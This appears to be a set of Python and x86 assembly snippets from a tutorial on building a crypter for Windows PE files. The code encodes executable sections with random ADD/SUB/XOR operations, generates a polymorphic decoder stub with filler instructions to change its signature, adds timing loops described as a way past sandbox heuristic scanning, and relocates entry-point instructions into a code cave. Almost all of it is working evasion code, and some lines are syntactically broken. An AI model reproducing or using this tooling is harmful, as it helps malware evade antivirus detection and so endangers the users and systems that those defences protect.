def build_encoder():
 
    encoder = []
    encode_instructions = ["ADD","SUB","XOR"] # possible encode operations
    num_encode_instructions = randint(5,10) # determine the number of encode instructions
 
    # build the dynamic portion of the encoder
    while (num_encode_instructions > 0):
        modifier = randint(0,255)

        # determine the encode instruction
        encode_instruction = random.choice(encode_instructions)
        encoder.append(encode_instruction + " " + str(modifier)) 

        num_encode_instructions -= 1

        ... snip ...
 
    return encoder

data_to_encode = retrieve_data(pe, section_name, "virtual") # grab unencoded data from section
 
... snip ...
 
# generate encoded bytes
 count = 0 
 for byte in data_to_encode:
    byte = int(byte, 16)
 if (count >= encode_offset) and (count < encode_length + encode_offset):
    enc_byte = do_encode(byte, encoder)
 else:
    enc_byte = byte
 count += 1
 encoded_data = encoded_data + "{:02x}".format(enc_byte)

 # make target section writeable
 make_section_writeable(pe, section_name)

 # write encoded data to image
 print "[*] Writing encoded data to file"
 raw_text_start = section_header.PointerToRawData # get raw text location for writing directly to file
 pe.set_bytes_at_offset(raw_text_start, binascii.unhexlify(encoded_data))

get_address:
   mov eax, decode_start_address     ; Move address of sections's first encoded byte into EAX
 
decode:                              ; assume decode of at least one byte 
   ...dynamic decode instructions... ; decode operations + benign fill
   inc eax                           ; increment decode address
   cmp eax, encode_end_address       ; check address with end_address
   jle, decode                       ; if in range, loop back to start of decode function
   ...benign filler instructions...  ; additional benign instructions that alter signature of decoder

def build_decoder(pe, encoder, section, decode_start, decode_end):

    decode_instructions = {
                                "ADD":"\x80\x28", # add encode w/ corresponding decoder ==> SUB BYTE PTR DS:[EAX] 
                                "SUB":"\x80\x00",   # sub encode w/ corresponding add decoder ==> ADD BYTE PTR DS:[EAX]
                                "XOR":"\x80\x30" # xor encode w/ corresponding xor decoder ==> XOR BYTE PTR DS:[EAX]
                           }
 
    decoder = ""
    for i in encoder:
        encode_instruction = i.split(" ")[0] # get encoder operation
        modifier = int(i.split(" ")[1])      # get operation modifier
        decode_instruction = (decode_instructions[encode_instruction] + struct.pack("B", modifier)) # get corresponding decoder instruction
        decoder = decode_instruction + decoder # prepend the decode instruction to execute in reverse order

        # add some fill instructions
        fill_instruction = add_fill_instructions(2)
        decoder = fill_instruction + decoder

    mov_instruct = "\xb8" + decode_start # mov eax, decode_start
    decoder = mov_instruct + decoder  # prepend the decoder with the mov instruction 
    decoder += "\x40" # inc eax
    decoder += "\x3d" + decode_end # cmp eax, decode_end
    back_jump_value = binascii.unhexlify(format((1 << 16) - (len(decoder)-len(mov_instruct)+2), 'x')[2:]) # TODO: keep the total length < 128 for this short jump
    decoder += "\x7e" + back_jump_value # jle, start_of_decode 
    decoder += "\x90\x90" # NOPS

    return decoder

def generate_heuristic(loop_limit):
 
    fill_limit = 3 # the maximum number of fill instructions to generate in between the heuristic instructions
    heuristic = ""
    heuristic += "\x33\xC0"                                                         # XOR EAX,EAX
    heuristic += add_fill_instructions(fill_limit)                                  # fill
    heuristic += "\x40"                                                             # INC EAX
    heuristic += add_fill_instructions(fill_limit)                                  # fill
    heuristic += "\x3D" + struct.pack("L", loop_limit)                              # CMP EAX,loop_limit
    short_jump = binascii.unhexlify(format((1 << 16) - (len(heuristic)), 'x')[2:])  # Jump immediately after XOR EAX,EAX
    heuristic += "\x75" + short_jump                                                # JNZ SHORT 
    heuristic += add_fill_instructions(fill_limit)                                  # fill
    heuristic += "\x90\x90\x90"                                                     # NOP
    return heuristic
 
'''
    This is a very basic attempt to circumvent remedial client-side sandbox heuristic scanning
    by stalling program execution for a short period of time (adjustable from options)
'''
def build_heuristic_bypass(heuristic_iterations):
 
    # we only need to clear these registers once
    heuristic_start = "\x90\x90\x90\x90\x90\x90" # XOR ESI,ESI
    heuristic_start += "\x31\xf6"                # XOR ESI,ESI
    heuristic_start += "\x31\xff"                # XOR EDI,EDI
    heuristic_start += add_fill_instructions(5)

    # compose the various heuristic bypass code segments  
    heuristic = ""  
    for x in range(0, heuristic_iterations):
        loop_limit = randint(286331153, 429496729)
        heuristic += generate_heuristic(loop_limit) #+ heuristic_xor_instruction
    print "[*] Generated Heuristic bypass of %i iterations" % heuristic_iterations
    heuristic = heuristic_start + heuristic 
    return heuristic

ef preserve_entry_instructions(pe, ep, ep_ava, offset_end):
    offset=0
    original_instructions = pe.get_memory_mapped_image()[ep:ep+offset_end+30]
    print "[*] Preserving the following entry instructions (at entry address %s):" % hex(ep_ava)
    while offset < offset_end:
        i = pydasm.get_instruction(original_instructions[offset:], pydasm.MODE_32)
        asm = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+offset)
        print "\t[+] " + asm
        offset += i.length

    # re-get instructions with confirmed offset to avoid partial instructions
    original_instructions = pe.get_memory_mapped_image()[ep:ep+offset]
    return original_instructions

6A 60              PUSH 60
68 28DF4600        PUSH pe.0046DF28

current_address = int(code_cave_address, 16) + heuristic_decoder_offset  + prior_offset + added_bytes

# check opcode to see if it's is a relative conditional or unconditional jump 
if opcode in conditional_jump_opcodes:
    new_jmp_loc = update_jump_location(asm, current_address, 6)
    new_instruct_bytes = conditional_jump_opcodes[opcode] + struct.pack("l", new_jmp_loc) # replace short jump with long jump and update location
elif opcode in unconditional_jump_opcodes:
    new_jmp_loc = update_jump_location(asm, current_address, 5)
    new_instruct_bytes = unconditional_jump_opcodes[opcode]  + struct.pack("l", new_jmp_loc) # replace short jump with long jump and update locatio
else:
    new_instruct_bytes = instruct_bytes

def update_jump_location(asm, current_address, instruction_offset):
    jmp_abs_destination = int(asm.split(" ")[1], 16) # get the intended destination
    if jmp_abs_destination < current_address:
        new_jmp_loc = (current_address - jmp_abs_destination + instruction_offset ) * -1 # backwards jump
    else:
        new_jmp_loc = current_address - jmp_abs_destination + instruction_offset # forwards jump

    return new_jmp_loc